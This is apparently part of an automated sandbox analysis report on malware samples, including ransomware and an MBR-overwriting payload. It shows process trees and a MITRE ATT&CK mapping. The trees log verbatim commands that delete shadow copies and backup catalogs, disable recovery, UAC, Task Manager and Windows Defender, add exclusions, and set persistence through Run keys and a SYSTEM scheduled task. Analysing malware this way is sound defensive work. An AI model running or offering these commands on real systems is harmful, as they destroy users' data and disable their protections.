                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
                                                                                  2⤵
                                                                                    PID:2396
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3672 /prefetch:1
                                                                                    2⤵
                                                                                      PID:5528
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:1
                                                                                      2⤵
                                                                                        PID:2824
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3656 /prefetch:1
                                                                                        2⤵
                                                                                          PID:2632
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6860 /prefetch:1
                                                                                          2⤵
                                                                                            PID:1120
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7384 /prefetch:1
                                                                                            2⤵
                                                                                              PID:4868
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7688 /prefetch:1
                                                                                              2⤵
                                                                                                PID:3900
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7856 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:6024
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3136 /prefetch:8
                                                                                                  2⤵
                                                                                                    PID:2736
                                                                                                • C:\Windows\System32\CompPkgSrv.exe
                                                                                                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:5032
                                                                                                  • C:\Windows\System32\CompPkgSrv.exe
                                                                                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:5804
                                                                                                    • C:\ProgramData\GoogleUP\Chrome\Updater.exe
                                                                                                      C:\ProgramData\GoogleUP\Chrome\Updater.exe
                                                                                                      1⤵
                                                                                                      • Drops file in Drivers directory
                                                                                                      • Executes dropped EXE
                                                                                                      • Drops file in System32 directory
                                                                                                      • Suspicious use of SetThreadContext
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      PID:860
                                                                                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                        2⤵
                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                        • Drops file in System32 directory
                                                                                                        • Modifies data under HKEY_USERS
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:3108
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                        2⤵
                                                                                                          PID:3676
                                                                                                          • C:\Windows\system32\wusa.exe
                                                                                                            wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                            3⤵
                                                                                                              PID:3992
                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                            C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                            2⤵
                                                                                                            • Launches sc.exe
                                                                                                            PID:5660
                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                            C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                            2⤵
                                                                                                            • Launches sc.exe
                                                                                                            PID:2888
                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                            C:\Windows\system32\sc.exe stop wuauserv
                                                                                                            2⤵
                                                                                                            • Launches sc.exe
                                                                                                            PID:5264
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              3⤵
                                                                                                                PID:1500
                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                              C:\Windows\system32\sc.exe stop bits
                                                                                                              2⤵
                                                                                                              • Launches sc.exe
                                                                                                              PID:4908
                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                              C:\Windows\system32\sc.exe stop dosvc
                                                                                                              2⤵
                                                                                                              • Launches sc.exe
                                                                                                              PID:4484
                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                              2⤵
                                                                                                              • Power Settings
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:5456
                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                              2⤵
                                                                                                              • Power Settings
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:1764
                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                              2⤵
                                                                                                              • Power Settings
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:3636
                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                              2⤵
                                                                                                              • Power Settings
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:3544
                                                                                                            • C:\Windows\system32\conhost.exe
                                                                                                              C:\Windows\system32\conhost.exe
                                                                                                              2⤵
                                                                                                                PID:2404
                                                                                                              • C:\Windows\explorer.exe
                                                                                                                explorer.exe
                                                                                                                2⤵
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:1672
                                                                                                            • C:\Windows\System32\rundll32.exe
                                                                                                              C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                              1⤵
                                                                                                                PID:3108
                                                                                                              • C:\Users\Admin\Downloads\feet pics.EXE
                                                                                                                "C:\Users\Admin\Downloads\feet pics.EXE"
                                                                                                                1⤵
                                                                                                                • Drops startup file
                                                                                                                • Executes dropped EXE
                                                                                                                • Sets desktop wallpaper using registry
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:2332
                                                                                                                • C:\Windows\SysWOW64\attrib.exe
                                                                                                                  attrib +h .
                                                                                                                  2⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Views/modifies file attributes
                                                                                                                  PID:4548
                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                  icacls . /grant Everyone:F /T /C /Q
                                                                                                                  2⤵
                                                                                                                  • Modifies file permissions
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:5248
                                                                                                                • C:\Users\Admin\Downloads\taskdl.exe
                                                                                                                  taskdl.exe
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:1120
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c 105631737744637.bat
                                                                                                                  2⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:4012
                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                    cscript.exe //nologo m.vbs
                                                                                                                    3⤵
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:2104
                                                                                                                • C:\Windows\SysWOW64\attrib.exe
                                                                                                                  attrib +h +s F:\$RECYCLE
                                                                                                                  2⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Views/modifies file attributes
                                                                                                                  PID:900
                                                                                                                • C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  @[email protected] co
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:5660
                                                                                                                  • C:\Users\Admin\Downloads\TaskData\Tor\taskhsvc.exe
                                                                                                                    TaskData\Tor\taskhsvc.exe
                                                                                                                    3⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Loads dropped DLL
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:5200
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  cmd.exe /c start /b @[email protected] vs
                                                                                                                  2⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:1732
                                                                                                                  • C:\Users\Admin\Downloads\@[email protected]
                                                                                                                    @[email protected] vs
                                                                                                                    3⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                    PID:3084
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                                                                                                                      4⤵
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:3808
                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                        wmic shadowcopy delete
                                                                                                                        5⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:796
                                                                                                                • C:\Users\Admin\Downloads\taskdl.exe
                                                                                                                  taskdl.exe
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:5184
                                                                                                                • C:\Users\Admin\Downloads\taskse.exe
                                                                                                                  taskse.exe C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:3628
                                                                                                                • C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  @[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Sets desktop wallpaper using registry
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:5580
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ifmtnfzogw121" /t REG_SZ /d "\"C:\Users\Admin\Downloads\tasksche.exe\"" /f
                                                                                                                  2⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:5928
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ifmtnfzogw121" /t REG_SZ /d "\"C:\Users\Admin\Downloads\tasksche.exe\"" /f
                                                                                                                    3⤵
                                                                                                                    • Adds Run key to start application
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    • Modifies registry key
                                                                                                                    PID:4268
                                                                                                                • C:\Users\Admin\Downloads\taskdl.exe
                                                                                                                  taskdl.exe
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:3596
                                                                                                                • C:\Users\Admin\Downloads\taskse.exe
                                                                                                                  taskse.exe C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:5344
                                                                                                                • C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  @[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:1760
                                                                                                                • C:\Users\Admin\Downloads\taskse.exe
                                                                                                                  taskse.exe C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:6072
                                                                                                                • C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  @[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:3480
                                                                                                                • C:\Users\Admin\Downloads\taskdl.exe
                                                                                                                  taskdl.exe
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:1884
                                                                                                                • C:\Users\Admin\Downloads\taskse.exe
                                                                                                                  taskse.exe C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:2920
                                                                                                                • C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  @[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:2540
                                                                                                                • C:\Users\Admin\Downloads\taskdl.exe
                                                                                                                  taskdl.exe
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:2460
                                                                                                                • C:\Users\Admin\Downloads\taskse.exe
                                                                                                                  taskse.exe C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:2796
                                                                                                                • C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  @[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:6072
                                                                                                                • C:\Users\Admin\Downloads\taskdl.exe
                                                                                                                  taskdl.exe
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:2080
                                                                                                                • C:\Users\Admin\Downloads\taskse.exe
                                                                                                                  taskse.exe C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:1280
                                                                                                                • C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  @[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:4208
                                                                                                                • C:\Users\Admin\Downloads\taskdl.exe
                                                                                                                  taskdl.exe
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:2692
                                                                                                                • C:\Users\Admin\Downloads\taskse.exe
                                                                                                                  taskse.exe C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:1012
                                                                                                                • C:\Users\Admin\Downloads\@[email protected]
                                                                                                                  @[email protected]
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Sets desktop wallpaper using registry
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:4700
                                                                                                                • C:\Users\Admin\Downloads\taskdl.exe
                                                                                                                  taskdl.exe
                                                                                                                  2⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:3568
                                                                                                              • C:\Windows\system32\vssvc.exe
                                                                                                                C:\Windows\system32\vssvc.exe
                                                                                                                1⤵
                                                                                                                  PID:1652
                                                                                                                • C:\Windows\system32\taskmgr.exe
                                                                                                                  "C:\Windows\system32\taskmgr.exe" /4
                                                                                                                  1⤵
                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                  PID:5912
                                                                                                                • C:\Program Files\7-Zip\7zG.exe
                                                                                                                  "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\ë\" -spe -an -ai#7zMap26616:64:7zEvent14001
                                                                                                                  1⤵
                                                                                                                    PID:1204
                                                                                                                  • C:\Users\Admin\Downloads\ë\unlockfeetpicsandpc.exe
                                                                                                                    "C:\Users\Admin\Downloads\ë\unlockfeetpicsandpc.exe"
                                                                                                                    1⤵
                                                                                                                    • Checks computer location settings
                                                                                                                    • Executes dropped EXE
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:4496
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\30E1.tmp\e.bat" "
                                                                                                                      2⤵
                                                                                                                      • Checks computer location settings
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      • Modifies registry class
                                                                                                                      PID:2580
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
                                                                                                                        3⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        • Modifies registry key
                                                                                                                        PID:6040
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                        3⤵
                                                                                                                        • UAC bypass
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        • Modifies registry key
                                                                                                                        PID:5952
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
                                                                                                                        3⤵
                                                                                                                        • Modifies Windows Defender DisableAntiSpyware settings
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:240
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\30E1.tmp\MBRDestroy.exe
                                                                                                                        MBRDestroy.exe
                                                                                                                        3⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Adds Run key to start application
                                                                                                                        • Writes to the Master Boot Record (MBR)
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:800
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks.exe /Create /TN "Windows Update" /ru SYSTEM /SC ONSTART /TR "C:\Users\Admin\AppData\Local\Temp\30E1.tmp\MBRDestroy.exe"
                                                                                                                          4⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                          PID:3644
                                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\30E1.tmp\note.vbs"
                                                                                                                        3⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:2936
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /K sound.bat
                                                                                                                        3⤵
                                                                                                                        • Modifies registry class
                                                                                                                        PID:2632
                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                          timeout 32 /nobreak
                                                                                                                          4⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Delays execution with timeout.exe
                                                                                                                          PID:3636
                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                        timeout 5 /nobreak
                                                                                                                        3⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        • Delays execution with timeout.exe
                                                                                                                        PID:2080
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /K msgboxes.bat
                                                                                                                        3⤵
                                                                                                                        • Checks computer location settings
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        • Modifies registry class
                                                                                                                        PID:4972
                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                          timeout 6 /nobreak
                                                                                                                          4⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Delays execution with timeout.exe
                                                                                                                          PID:2376
                                                                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\30E1.tmp\m.vbs"
                                                                                                                          4⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:4520
                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                          timeout 6 /nobreak
                                                                                                                          4⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Delays execution with timeout.exe
                                                                                                                          PID:5964
                                                                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\30E1.tmp\m.vbs"
                                                                                                                          4⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:980
                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                          timeout 6 /nobreak
                                                                                                                          4⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Delays execution with timeout.exe
                                                                                                                          PID:828
                                                                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\30E1.tmp\m.vbs"
                                                                                                                          4⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:2768
                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                          timeout 6 /nobreak
                                                                                                                          4⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Delays execution with timeout.exe
                                                                                                                          PID:4668
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\30E1.tmp\eeee.exe
                                                                                                                        eeee.exe
                                                                                                                        3⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:2832
                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                        timeout 5 /nobreak
                                                                                                                        3⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        • Delays execution with timeout.exe
                                                                                                                        PID:1808
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\30E1.tmp\INV.exe
                                                                                                                        inv.exe
                                                                                                                        3⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:1060
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\30E1.tmp\glitch.exe
                                                                                                                        glitch.exe
                                                                                                                        3⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:5552
                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                        timeout 5 /nobreak
                                                                                                                        3⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        • Delays execution with timeout.exe
                                                                                                                        PID:3464
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\30E1.tmp\lines.exe
                                                                                                                        lines.exe
                                                                                                                        3⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:5316
                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                        timeout 10 /nobreak
                                                                                                                        3⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        • Delays execution with timeout.exe
                                                                                                                        PID:5828
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\30E1.tmp\melter.exe
                                                                                                                        melter.exe
                                                                                                                        3⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:4392
                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                        taskkill /f /im svchost.exe
                                                                                                                        3⤵
                                                                                                                        • Kills process with taskkill
                                                                                                                        PID:4596
                                                                                                                  • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
                                                                                                                    "C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
                                                                                                                    1⤵
                                                                                                                    • Drops desktop.ini file(s)
                                                                                                                    • Enumerates connected drives
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    • Modifies registry class
                                                                                                                    PID:5456
                                                                                                                    • C:\Windows\SysWOW64\unregmp2.exe
                                                                                                                      "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
                                                                                                                      2⤵
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:5936
                                                                                                                      • C:\Windows\system32\unregmp2.exe
                                                                                                                        "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
                                                                                                                        3⤵
                                                                                                                        • Enumerates connected drives
                                                                                                                        PID:4604
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
                                                                                                                    1⤵
                                                                                                                    • Drops file in Windows directory
                                                                                                                    PID:2008
                                                                                                                  • C:\Windows\system32\AUDIODG.EXE
                                                                                                                    C:\Windows\system32\AUDIODG.EXE 0x2fc 0x4c0
                                                                                                                    1⤵
                                                                                                                      PID:1592

                                                                                                                    Network

                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                    Reconnaissance

                                                                                                                    Resource Development

                                                                                                                    Initial Access

                                                                                                                    Execution

                                                                                                                    Command and Scripting Interpreter

                                                                                                                    1
                                                                                                                    T1059

                                                                                                                    PowerShell

                                                                                                                    1
                                                                                                                    T1059.001

                                                                                                                    Scheduled Task/Job

                                                                                                                    1
                                                                                                                    T1053

                                                                                                                    Scheduled Task

                                                                                                                    1
                                                                                                                    T1053.005

                                                                                                                    System Services

                                                                                                                    2
                                                                                                                    T1569

                                                                                                                    Service Execution

                                                                                                                    2
                                                                                                                    T1569.002

                                                                                                                    Windows Management Instrumentation

                                                                                                                    1
                                                                                                                    T1047

                                                                                                                    Persistence

                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                    1
                                                                                                                    T1547

                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                    1
                                                                                                                    T1547.001

